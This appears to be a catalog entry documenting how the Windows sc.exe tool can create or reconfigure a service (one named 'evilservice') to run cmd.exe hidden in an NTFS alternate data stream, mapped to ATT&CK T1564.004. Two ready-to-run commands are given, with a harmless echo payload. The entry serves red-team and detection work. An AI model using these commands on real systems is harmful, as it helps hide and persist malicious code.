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Alternate data streams

Used by Windows to manage services


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Alternate data streams

  1. Creates a new service and executes the file stored in the ADS.

    sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilservice
    Use case
    Execute binary file hidden inside an alternate data stream
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004
  2. Modifies an existing service and executes the file stored in the ADS.

    sc config <existing> binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" & sc start <existing>
    Use case
    Execute binary file hidden inside an alternate data stream
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004